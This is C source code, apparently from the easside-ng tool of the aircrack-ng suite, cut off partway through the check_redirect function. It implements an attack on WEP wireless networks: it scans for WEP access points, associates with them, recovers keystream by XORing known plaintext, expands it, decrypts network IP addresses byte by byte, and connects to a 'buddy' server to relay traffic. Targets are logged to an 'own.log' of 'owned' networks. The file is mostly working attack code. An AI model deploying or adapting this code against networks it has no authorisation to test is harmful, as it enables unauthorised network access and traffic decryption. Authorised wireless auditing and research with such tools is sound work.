/*
  *  Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
  *  the Free Software Foundation; either version 2 of the License, or
  *  (at your option) any later version.
  *
  *  This program is distributed in the hope that it will be useful,
  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  *  GNU General Public License for more details.
  *
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
  */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/time.h>
#include <time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <stdarg.h>
#define __FAVOR_BSD
#include <netinet/udp.h>
#undef __FAVOR_BSD

#include "aircrack-ng/defs.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/osdep/byteorder.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/third-party/ethernet.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/support/ieee80211_compat.h"
#include "aircrack-ng/third-party/if_arp.h"
#include "aircrack-ng/version.h"

#include "easside.h"

#define S_MTU 1500
#define S_MCAST "\x01\x00\x5e\x01\x00"
#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
#define S_PRGA_LOG "prga.log"
#define S_OWN_LOG "own.log"
#define S_MIN_RTO 10

enum
{
	S_SEARCHING = 0,
	S_SENDAUTH,
	S_SENDASSOC,
	S_ASSOCIATED
};

enum
{
	AS_NOPRGA = 0,
	AS_PRGA_EXPAND,
	AS_FIND_IP,
	AS_DECRYPT_ARP,
	AS_DECRYPT_IP,
	AS_FIND_RTR_MAC,
	AS_CHECK_INET,
	AS_REDIRECT
};

struct rpacket
{
	unsigned char rp_packet[2048];
	int rp_len;
	int rp_id;
	struct rpacket * rp_next;
};

struct owned
{
	unsigned char ow_mac[6];
	struct owned * ow_next;
};

struct east_state
{
	/* conf & params */
	char es_ifname[256];
	unsigned char es_mymac[6];
	int es_setmac;
	int es_iponly;
	struct wif * es_wi;
	char es_tapname[16];
	struct tif * es_ti;
	unsigned int es_hopfreq;
	int es_txto_mgt;
	int es_txto_expand;
	int es_expand_factor;
	int es_txto_decrypt;
	int es_port;
	int es_udp_port;
	int es_txto_whohas;
	int es_txto_checkinet;
	int es_txto_redirect;
	unsigned char es_clear[S_MTU + 4];
	struct rpacket * es_rqueue;
	struct owned * es_owned;
	int es_chanlock;

	/* state */
	unsigned char es_apmac[6];
	int es_apchan;
	char es_apssid[256];
	int es_state;
	struct timeval es_lasthop;
	int es_txseq;
	struct timeval es_txlast;
	unsigned char es_prga[S_MTU + 4];
	unsigned char * es_clearp;
	unsigned char * es_clearpnext;
	int es_prgalen;
	unsigned char es_iv[3];
	int es_expand_num;
	int es_expand_len;
	int es_txack;
	unsigned char es_prga_d[S_MTU + 4];
	int es_prga_dlen;
	unsigned char es_prga_div[3];
	unsigned char es_packet[2048];
	int es_have_packet;
	int es_have_src;
	unsigned char es_packet_arp[2048];
	int es_have_arp;
	struct in_addr es_myip;
	struct in_addr es_rtrip;
	struct in_addr es_pubip;
	unsigned char es_rtrmac[6];
	struct in_addr es_srvip;
	int es_buddys;
	unsigned short es_rpacket_id;
	struct timeval es_rtt;
	unsigned short es_rtt_id;
	int es_srtt;
	int es_rxseq;
	int es_astate;
};

static struct east_state _es;

static void printf_time(char * fmt, ...)
{
	REQUIRE(fmt != NULL);

	va_list ap;
	struct timeval now;
	time_t t;
	struct tm * tm;

	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
	t = time(NULL);
	if (t == (time_t) -1) err(1, "time()");
	tm = localtime(&t);
	if (!tm) err(1, "localtime()");

	printf("[%.2d:%.2d:%.2d.%.6lu] ",
		   tm->tm_hour,
		   tm->tm_min,
		   tm->tm_sec,
		   (long unsigned int) now.tv_usec);

	va_start(ap, fmt);
	vprintf(fmt, ap);
	va_end(ap);
}

static void init_defaults(struct east_state * es)
{
	REQUIRE(es != NULL);

	memset(es, 0, sizeof(*es));

	memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
	es->es_setmac = 0;
	strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname) - 1);

	es->es_state = S_SEARCHING;
	es->es_hopfreq = 100; /* ms */

	es->es_txto_mgt = 100; /* ms */
	es->es_txto_expand = 100;
	es->es_expand_factor = 3;
	memcpy(es->es_clear, "\xAA\xAA\x03\x00\x00\x00\x08\x06", 8);
	es->es_clearpnext = es->es_clearp = es->es_clear;

	es->es_txto_decrypt = 10;

	es->es_txto_whohas = 500;
	es->es_txto_checkinet = 2000;
	es->es_txto_redirect = 2000;
	es->es_port = S_DEFAULT_PORT;
	es->es_udp_port = S_DEFAULT_UDP_PORT;
}

static void reset(struct east_state * es)
{
	REQUIRE(es != NULL);

	int sz;
	struct rpacket * p;
	struct owned * ow;
	FILE * f;
	char mac[18];

	/* close buddy */
	close(es->es_buddys);
	es->es_buddys = 0;

	/* reset state */
	char * ptr = (void *) es;
	ptr += offsetof(struct east_state, es_apmac);
	sz = sizeof(*es) - offsetof(struct east_state, es_apmac);
	memset(ptr, 0, sz);

	/* fixup state */
	es->es_clearpnext = es->es_clearp = es->es_clear;
	p = es->es_rqueue;
	while (p)
	{
		p->rp_len = 0;
		p = p->rp_next;
	}

	/* log ownage */
	ow = malloc(sizeof(*ow));
	ALLEGE(ow != NULL);
	memset(ow, 0, sizeof(*ow));
	memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac));
	ow->ow_next = es->es_owned;
	es->es_owned = ow;

	f = fopen(S_OWN_LOG, "a");
	if (!f) err(1, "fopen()");
	mac2str(mac, es->es_apmac, sizeof(mac));
	char * pubip = inet_ntoa(es->es_pubip);
	fprintf(f,
			"%s %d %s %s\n",
			mac,
			es->es_apchan,
			es->es_apssid,
			pubip ? pubip : "<unknown>");
	fclose(f);

	/* start over */
	es->es_state = S_SEARCHING;
	printf_time("Restarting");
}

static uint16_t in_cksum(const uint8_t * restrict ptr, size_t nbytes)
{
	long sum = 0;
	uint16_t oddbyte = 0;
	uint16_t answer;

	REQUIRE(ptr != NULL);

	// sum of data stream
	while (nbytes > 1)
	{
		const uint16_t v = load16((uint8_t *) ptr);
		sum += v;
		ptr += 2;
		nbytes -= 2;
	}

	if (nbytes == 1)
	{
		*((uint8_t *) &oddbyte) = *ptr;
		sum += oddbyte;
	}

	// reduce sum to uint16_t
	sum = (sum >> 16) + (sum & 0xffff);
	// add any carry bits
	sum += (sum >> 16);

	// one's complement
	answer = ~sum;

	return (answer);
}

static void open_wifi(struct east_state * es)
{
	REQUIRE(es != NULL);

	struct wif * wi;

	wi = wi_open(es->es_ifname);
	if (!wi) err(1, "wi_open()");

	INVARIANT(es->es_wi == NULL);
	es->es_wi = wi;
}

static void open_tap(struct east_state * es)
{
	REQUIRE(es != NULL);

	struct tif * ti;
	char * iface = NULL;

	if (es->es_tapname[0]) iface = es->es_tapname;

	ti = ti_open(iface);
	if (!ti) err(1, "ti_open()");

	strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1);
	es->es_tapname[sizeof(es->es_tapname) - 1] = 0;

	printf("Setting tap MTU\n");
	if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()");

	es->es_ti = ti;
}

static void set_mac(struct east_state * es)
{
	REQUIRE(es != NULL);

	printf("Sorting out wifi MAC\n");
	if (!es->es_setmac)
	{
		char mac[18];

		if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()");
		mac2str(mac, es->es_mymac, sizeof(mac));
		printf("MAC is %s\n", mac);
	}
	else if (wi_set_mac(es->es_wi, es->es_mymac) == -1)
		err(1, "wi_set_mac()");

	printf("Setting tap MAC\n");
	if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()");
}

static void set_tap_ip(struct east_state * es)
{
	REQUIRE(es != NULL);

	if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()");
}

static void die(char * m)
{
	REQUIRE(m != NULL);

	struct east_state * es = &_es;

	printf("Dying: %s\n", m);
	if (es->es_wi) wi_close(es->es_wi);
	if (es->es_ti) ti_close(es->es_ti);

	exit(EXIT_SUCCESS);
}

static void sighand(int sig)
{
	UNUSED_PARAM(sig);

	die("signal");
}

static void set_chan(struct east_state * es)
{
	REQUIRE(es != NULL);

	int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan;

	if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel");
}

static void clear_timeout(struct east_state * es)
{
	REQUIRE(es != NULL);

	memset(&es->es_txlast, 0, sizeof(es->es_txlast));
}

static void
read_beacon(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t) (wh + 1);
	uint16_t capa;
	int bhlen = 12;
	int got_ssid = 0, got_channel = 0;
	struct owned * own = es->es_owned;

	len -= sizeof(*wh) + bhlen;
	if (len < 0)
	{
		printf("Short beacon %d\n", len);
		return;
	}

	if (es->es_state != S_SEARCHING) return;

	/* only wep */
	capa = IEEE80211_BEACON_CAPABILITY(b);
	if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS)))
		return;

	/* lookin for a specific dude */
	if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0)
	{
		if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return;
	}

	/* check if we already owned him */
	while (own)
	{
		if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return;

		own = own->ow_next;
	}

	/* SSID and channel */
	b += bhlen;
	while (len > 1)
	{
		unsigned char ie_len = b[1];

		len -= 2 + ie_len;
		if (len < 0)
		{
			printf("Short IE %d %d\n", len, ie_len);
			return;
		}

		switch (b[0])
		{
			case IEEE80211_ELEMID_SSID:
				if (!got_ssid)
				{
					strncpy(es->es_apssid, (char *) &b[2], ie_len);
					es->es_apssid[ie_len] = 0;
					if (strlen(es->es_apssid)) got_ssid = 1;
				}
				break;

			case IEEE80211_ELEMID_DSPARMS:
				if (!got_channel) got_channel = b[2];
				break;
		}

		if (got_ssid && got_channel)
		{
			char str[18];

			memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac));
			es->es_apchan = got_channel;
			es->es_state = S_SENDAUTH;
			mac2str(str, es->es_apmac, sizeof(str));
			printf("\nSSID %s Chan %d Mac %s\n",
				   es->es_apssid,
				   es->es_apchan,
				   str);

			if (!es->es_chanlock) set_chan(es);
			return;
		}

		b += 2 + ie_len;
	}
}

static int for_me_and_from_ap(struct east_state * es,
							  struct ieee80211_frame * wh)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return (0);

	if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return (0);

	return (1);
}

static void
read_auth(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	UNUSED_PARAM(len);

	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	unsigned short * sp = (unsigned short *) (wh + 1);

	if (es->es_state != S_SENDAUTH) return;

	if (!for_me_and_from_ap(es, wh)) return;

	if (le16toh(*sp) != 0)
	{
		printf("weird auth algo: %d\n", le16toh(*sp));
		return;
	}

	sp++;
	if (le16toh(*sp) != 2)
	{
		printf("weird auth transno: %d\n", le16toh(*sp));
		return;
	}

	sp++;
	if (le16toh(*sp) != 0)
	{
		printf("Auth unsuccessful %d\n", le16toh(*sp));
		exit(EXIT_FAILURE);
	}

	printf("Authenticated\n");
	es->es_state = S_SENDASSOC;
}

static int is_dup(struct east_state * es, struct ieee80211_frame * wh)
{
	REQUIRE(wh != NULL);

	unsigned short * sn = (unsigned short *) &wh->i_seq[0];
	unsigned short s;

	s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;

	REQUIRE(es != NULL);

	if (s == es->es_rxseq) return (1);

	es->es_rxseq = s;

	return (0);
}

static void
read_deauth(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	UNUSED_PARAM(len);

	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	unsigned short * sp = (unsigned short *) (wh + 1);

	if (!for_me_and_from_ap(es, wh)) return;

	if (is_dup(es, wh)) return;

	printf("Deauth: %d\n", le16toh(*sp));
	es->es_state = S_SENDAUTH;
}

static void
read_disassoc(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	UNUSED_PARAM(len);

	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	unsigned short * sp = (unsigned short *) (wh + 1);

	if (!for_me_and_from_ap(es, wh)) return;

	if (is_dup(es, wh)) return;

	printf("Disassoc: %d\n", le16toh(*sp));
	es->es_state = S_SENDASSOC;
}

static void
read_assoc_resp(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	UNUSED_PARAM(len);

	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	unsigned short * sp = (unsigned short *) (wh + 1);

	if (es->es_state != S_SENDASSOC) return;

	if (!for_me_and_from_ap(es, wh)) return;

	sp++; /* capa */

	/* sc */
	if (le16toh(*sp) != 0)
	{
		printf("Assoc unsuccessful %d\n", le16toh(*sp));
		exit(EXIT_FAILURE);
	}

	sp++;
	printf("Associated: %d\n", IEEE80211_AID(le16toh(*sp)));
	es->es_state = S_ASSOCIATED;
	es->es_txack = 0;
	es->es_expand_num = -1;
}

static void
read_mgt(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(wh != NULL);

	if (len < (int) sizeof(*wh))
	{
		printf("Short mgt %d\n", len);
		return;
	}

	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
	{
		case IEEE80211_FC0_SUBTYPE_BEACON:
		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
			read_beacon(es, wh, len);
			break;

		case IEEE80211_FC0_SUBTYPE_AUTH:
			read_auth(es, wh, len);
			break;

		case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
			break;

		case IEEE80211_FC0_SUBTYPE_DEAUTH:
			read_deauth(es, wh, len);
			break;

		case IEEE80211_FC0_SUBTYPE_DISASSOC:
			read_disassoc(es, wh, len);
			break;

		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
			read_assoc_resp(es, wh, len);
			break;

		default:
			printf("Unknown mgmt subtype %x\n",
				   wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
			break;
	}
}

static void
read_ack(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	UNUSED_PARAM(len);

	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return;

	es->es_txack = 1;
}

static void
read_ctl(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(wh != NULL);

	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
	{
		case IEEE80211_FC0_SUBTYPE_ACK:
			read_ack(es, wh, len);
			break;

		case IEEE80211_FC0_SUBTYPE_RTS:
		case IEEE80211_FC0_SUBTYPE_CTS:
		case IEEE80211_FC0_SUBTYPE_PS_POLL:
		case IEEE80211_FC0_SUBTYPE_CF_END:
			break;

		default:
			printf("Unknown ctl subtype %x\n",
				   wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
			break;
	}
}

static int our_network(struct east_state * es, struct ieee80211_frame * wh)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	void * bssid
		= (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1;

	return (memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0);
}

static inline void xor(void *out, void *clear, void *cipher, int len)
{
	REQUIRE(out != NULL);
	REQUIRE(clear != NULL);
	REQUIRE(cipher != NULL);
	REQUIRE(len > 0);

	unsigned char *cl = (unsigned char*) clear;
	unsigned char *ci = (unsigned char*) cipher;
	unsigned char *o = (unsigned char*) out;

	while (len--)
		*o++ = *cl++ ^ *ci++;
}

static void save_prga(struct east_state *es)
{
	REQUIRE(es != NULL);

	int fd, rc;

	ALLEGE(es->es_prgalen <= (int) sizeof(es->es_prga));
	printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]",
				es->es_prgalen,
				es->es_iv[0],
				es->es_iv[1],
				es->es_iv[2]);
	printf("\n");

	fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644);
	if (fd == -1) err(1, "save_prga: open()");

	rc = write(fd, es->es_iv, 3);
	if (rc != 3)
	{
		printf("save_prga: can't write IV\n");
		exit(EXIT_FAILURE);
	}
	rc = write(fd, es->es_prga, es->es_prgalen);
	if (rc != es->es_prgalen)
	{
		printf("save_prga: can't write PRGA\n");
		exit(EXIT_FAILURE);
	}
	close(fd);
}

static inline int is_arp(struct ieee80211_frame * wh, int len)
{
	UNUSED_PARAM(wh);

	const int arpsize = 8 + sizeof(struct arphdr) + 10 * 2;

	if (len == arpsize || len == 54) return (1);

	return (0);
}

static void * get_sa(struct ieee80211_frame * wh)
{
	REQUIRE(wh != NULL);

	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
		return (wh->i_addr3);
	else
		return (wh->i_addr2);
}

static void * get_da(struct ieee80211_frame * wh)
{
	REQUIRE(wh != NULL);

	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
		return (wh->i_addr1);
	else
		return (wh->i_addr3);
}

static void
base_prga(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	unsigned char ct[1024];
	unsigned char * data = (unsigned char *) (wh + 1);
	int prgalen;
	int ct_len;

	memcpy(es->es_iv, data, 3);
	data += 4;
	len -= 4 + 4; /* IV & CRC */
	if (len <= 0)
	{
		printf("base_prga: lame len %d\n", len);
		return;
	}

	prgalen = known_clear(ct, &ct_len, NULL, (uint8_t *) wh, len);

	xor(es->es_prga, ct, data, prgalen);
	es->es_prgalen = prgalen;

	save_prga(es);
}

static void
check_expand(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	int elen;
	unsigned long crc;
	unsigned char * data = (unsigned char *) (wh + 1);

	if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return;

	if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return;

	if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return;

	if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return;

	elen = es->es_expand_len;

	if (elen != (len - 4)) return;

	if (elen <= es->es_prgalen) return;

	/* iv */
	memcpy(es->es_iv, data, 3);
	data += 4;
	elen -= 4;

	/* payload */
	ALLEGE(elen <= (int) sizeof(es->es_clear));
	es->es_prgalen = elen + 4;
	xor(es->es_prga, es->es_clear, data, elen);

	/* crc */
	crc = htole32(calc_crc_buf(es->es_clear, elen));
	xor(&es->es_prga[elen], &crc, data + elen, 4);

	save_prga(es);
	if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
}

static int to_me(struct east_state * es, struct ieee80211_frame * wh)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
		   && memcmp(es->es_mymac, get_da(wh), 6) == 0;
}

static int from_me(struct east_state * es, struct ieee80211_frame * wh)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	return (memcmp(es->es_mymac, get_sa(wh), 6) == 0);
}

static int
check_decrypt(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	int elen;

	if (!from_me(es, wh)) return 0;

	if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return (0);

	elen = es->es_prga_dlen + 1;

	if (elen != (len - 4)) return (0);

	es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5];
	es->es_prga_dlen++;

	ALLEGE(es->es_prga_dlen <= (int) sizeof(es->es_prga_d));

	return (1);
}

static void decrypt_ip_addr(
	struct east_state * es, void * dst, int * len, void * cipher, int off)
{
	REQUIRE(es != NULL);
	REQUIRE(dst != NULL);
	REQUIRE(len != NULL);
	REQUIRE(cipher != NULL);

	unsigned char * c = cipher;

	*len = es->es_prga_dlen - off;
	if (*len > 4) *len = 4;
	INVARIANT(*len > 0);
	xor(dst, c + off, es->es_prga_d + off, *len);
}

static void found_net_addr(struct east_state * es, unsigned char * a)
{
	REQUIRE(es != NULL);
	REQUIRE(a != NULL);

	unsigned char ip[4];

	memcpy(ip, a, 3);
	if (!ip[0])
	{
		printf("Shit, prolly got a lame dhcp dude\n");
		exit(EXIT_FAILURE);
	}

	ip[3] = 123;
	memcpy(&es->es_myip, ip, 4);
	char * myip = inet_ntoa(es->es_myip);
	printf("My IP %s\n", myip ? myip : "<unknown>");
	set_tap_ip(es);

	ip[3] = 1;
	memcpy(&es->es_rtrip, ip, 4);
	char * rtrip = inet_ntoa(es->es_rtrip);
	printf("Rtr IP %s\n", rtrip ? rtrip : "<unknown>");
	es->es_astate = AS_FIND_RTR_MAC;
}

static void
check_decrypt_arp(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	unsigned char ip[4];
	int iplen;
	const int off = 8 + sizeof(struct arphdr) + 6;
	unsigned char * data;
	int i;

	if (!check_decrypt(es, wh, len)) return;

	iplen = es->es_prga_dlen - off;
	ALLEGE(iplen > 0 && iplen <= (int) sizeof(ip));

	data = (unsigned char *) (((struct ieee80211_frame *) es->es_packet_arp)
							  + 1);
	data += +4 + off;
	xor(ip, data, &es->es_prga_d[off], iplen);

	printf("\nARP IP so far: ");
	for (i = 0; i < iplen; i++)
	{
		printf("%d", ip[i]);
		if ((i + 1) < iplen) printf(".");
	}
	printf("\n");

	if (iplen == 3) found_net_addr(es, ip);
}

static void
check_decrypt_ip(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	int off_ip = 8;
	int off_id = off_ip + 4;
	int off_ttl = off_id + 4;
	int off_p = off_ttl + 1;
	int off_check = off_p + 1;
	int off_s_addr = off_check + 2;
	int off_d_addr = off_s_addr + 4;
	unsigned char * data = es->es_packet + sizeof(*wh) + 4;

	if (!check_decrypt(es, wh, len)) return;

	if (es->es_prga_dlen == (off_id + 2))
	{
		printf("\nGot IP ID\n");
	}
	else if (es->es_prga_dlen == (off_ttl + 1))
	{
		printf("\nGot IP TTL\n");
	}
	else if (es->es_prga_dlen == (off_p + 1))
	{
		unsigned char * c = data + off_p;
		int p = (*c) ^ es->es_prga_d[es->es_prga_dlen - 1];
		char * str = NULL;

		switch (p)
		{
			case IPPROTO_ICMP:
				str = "icmp";
				break;
			case IPPROTO_UDP:
				str = "udp";
				break;
			case IPPROTO_TCP:
				str = "tcp";
				break;
			default:
				str = "unknown";
				break;
		}

		printf("\nGot proto %s\n", str);
	}
	else if (es->es_prga_dlen == (off_check + 2))
	{
		printf("\nGot checksum [could use to help bforce addr]\n");
	}
	else if ((es->es_prga_dlen >= off_s_addr) //-V695
			 && (es->es_prga_dlen <= (off_s_addr + 4)))
	{
		unsigned char ip[4];
		int iplen;
		int i;

		decrypt_ip_addr(es, ip, &iplen, data, off_s_addr);
		printf("\nSource IP so far: ");
		for (i = 0; i < iplen; i++)
		{
			printf("%d", ip[i]);
			if (i + 1 < iplen) printf(".");
		}
		printf("\n");

		if (es->es_have_src && iplen == 3) found_net_addr(es, ip);
	}
	else if ((es->es_prga_dlen >= off_d_addr) //-V695
			 && (es->es_prga_dlen <= (off_d_addr + 4)))
	{
		unsigned char dip[4];
		struct in_addr sip;
		int iplen;
		int i;

		decrypt_ip_addr(es, &sip, &i, data, off_s_addr);
		decrypt_ip_addr(es, dip, &iplen, data, off_d_addr);
		char * sipip = inet_ntoa(sip);
		printf("\nIPs so far %s->", sipip ? sipip : "<unknown>");
		for (i = 0; i < iplen; i++)
		{
			printf("%d", dip[i]);
			if (i + 1 < iplen) printf(".");
		}
		printf("\n");

		ALLEGE(!es->es_have_src);
		if (iplen == 3) found_net_addr(es, dip);
	}
	else if (es->es_prga_dlen > off_d_addr)
		abort();
}

static void setup_internet(struct east_state * es)
{
	REQUIRE(es != NULL);

	struct sockaddr_in s_in;
	char buf[16];

	es->es_astate = AS_CHECK_INET;
	clear_timeout(es);
	char * srvip = inet_ntoa(es->es_srvip);
	printf("Trying to connect to buddy: %s:%d\n",
		   srvip ? srvip : "<unknown>",
		   es->es_port);

	ALLEGE(es->es_buddys == 0);
	es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (es->es_buddys == -1) err(1, "setup_internet: socket()");

	memset(&s_in, 0, sizeof(s_in));
	s_in.sin_family = PF_INET;
	s_in.sin_addr = es->es_srvip;
	s_in.sin_port = htons(es->es_port);

	if (connect(es->es_buddys, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
		err(1, "setup_internet: connect()");
	printf("Connected\n");

	/* handshake */
	if (send(es->es_buddys, "sorbo", 5, 0) != 5)
		err(1, "setup_internet: send()");
	if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()");

	if (memcmp(buf, "sorbox", 6) != 0)
	{
		printf("setup_internet: handshake failed");
		exit(EXIT_FAILURE);
	}
	printf("Handshake compl33t\n");
}

static void
check_rtr_mac(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	void * sa;
	char str[18];

	if (!to_me(es, wh)) return;

	if (!is_arp(wh, len - 4 - 4)) return;

	sa = get_sa(wh);
	memcpy(es->es_rtrmac, sa, 6);
	mac2str(str, es->es_rtrmac, sizeof(str));
	printf("Rtr MAC %s\n", str);

	setup_internet(es);
}

static struct rpacket * get_slot(struct east_state * es)
{
	REQUIRE(es != NULL);

	struct rpacket * slot = es->es_rqueue;
	struct rpacket * p = es->es_rqueue;

	/* try to recycle */
	while (slot)
	{
		if (!slot->rp_len) return (slot);

		slot = slot->rp_next;
	}

	slot = malloc(sizeof(*slot));
	if (!slot) err(1, "get_slot: malloc()");
	memset(slot, 0, sizeof(*slot));

	if (!p)
		es->es_rqueue = slot;
	else
	{
		while (p->rp_next) p = p->rp_next;
		p->rp_next = slot;
	}

	return (slot);
}

static struct rpacket * get_head(struct east_state * es)
{
	REQUIRE(es != NULL);

	struct rpacket * rp = es->es_rqueue;

	if (!rp) return (NULL);

	if (!rp->rp_len) return (NULL);

	return (rp);
}

static struct rpacket * get_packet(struct east_state * es, int id)
{
	REQUIRE(es != NULL);

	struct rpacket * rp = es->es_rqueue;

	while (rp)
	{
		if (!rp->rp_len) return (NULL);

		if (rp->rp_id == id) return (rp);

		rp = rp->rp_next;
	}

	return (NULL);
}

static void remove_packet(struct east_state * es, int id)
{
	REQUIRE(es != NULL);

	struct rpacket * rp = es->es_rqueue;
	struct rpacket ** prevn;
	struct rpacket * p;

	ALLEGE(rp != NULL);

	prevn = &es->es_rqueue;

	/* find and remove */
	while (rp)
	{
		if (rp->rp_id == id)
		{
			rp->rp_len = 0;
			*prevn = rp->rp_next;
			break;
		}

		prevn = &rp->rp_next;
		rp = rp->rp_next;
	}

	ALLEGE(rp != NULL);

	/* only one element */
	p = es->es_rqueue;
	if (!p)
	{
		es->es_rqueue = rp;
		ALLEGE(rp->rp_next == NULL);
		return;
	}

	while (p)
	{
		if (!p->rp_len)
		{
			rp->rp_next = p->rp_next;
			p->rp_next = rp;
			return;
		}

		prevn = &p->rp_next;
		p = p->rp_next;
	}

	/* last elem */
	rp->rp_next = NULL;
	*prevn = rp;
}

static int queue_len(struct east_state * es)
{
	REQUIRE(es != NULL);

	int len = 0;
	struct rpacket * slot = es->es_rqueue;

	while (slot)
	{
		if (!slot->rp_len) break;
		len++;
		slot = slot->rp_next;
	}

	return (len);
}

static void
redirect_enque(struct east_state * es, struct ieee80211_frame * wh, int len)
{
	REQUIRE(es != NULL);
	REQUIRE(wh != NULL);

	char s[18];
	char d[18];
	struct rpacket * slot;

	slot = get_slot(es);

	slot->rp_len = len;
	ALLEGE(slot->rp_len <= (int) sizeof(slot->rp_packet));
	memcpy(slot->rp_packet, wh, slot->rp_len);
	es->es_rpacket_id++;
	slot->rp_id = es->es_rpacket_id;

	mac2str(s, get_sa(wh), sizeof(s));
	mac2str(d, get_da(wh), sizeof(d));
	printf_time("Enqueued packet id %d %s->%s %" PRIuMAX " [qlen %d]\n",
				slot->rp_id,
				s,
				d,
				(uintmax_t) ((size_t) len - sizeof(*wh) - 8),
				queue_len(es));
}

static void
check_redirect(struct east_state * es, struct ieee80211_frame * wh, int len)
{
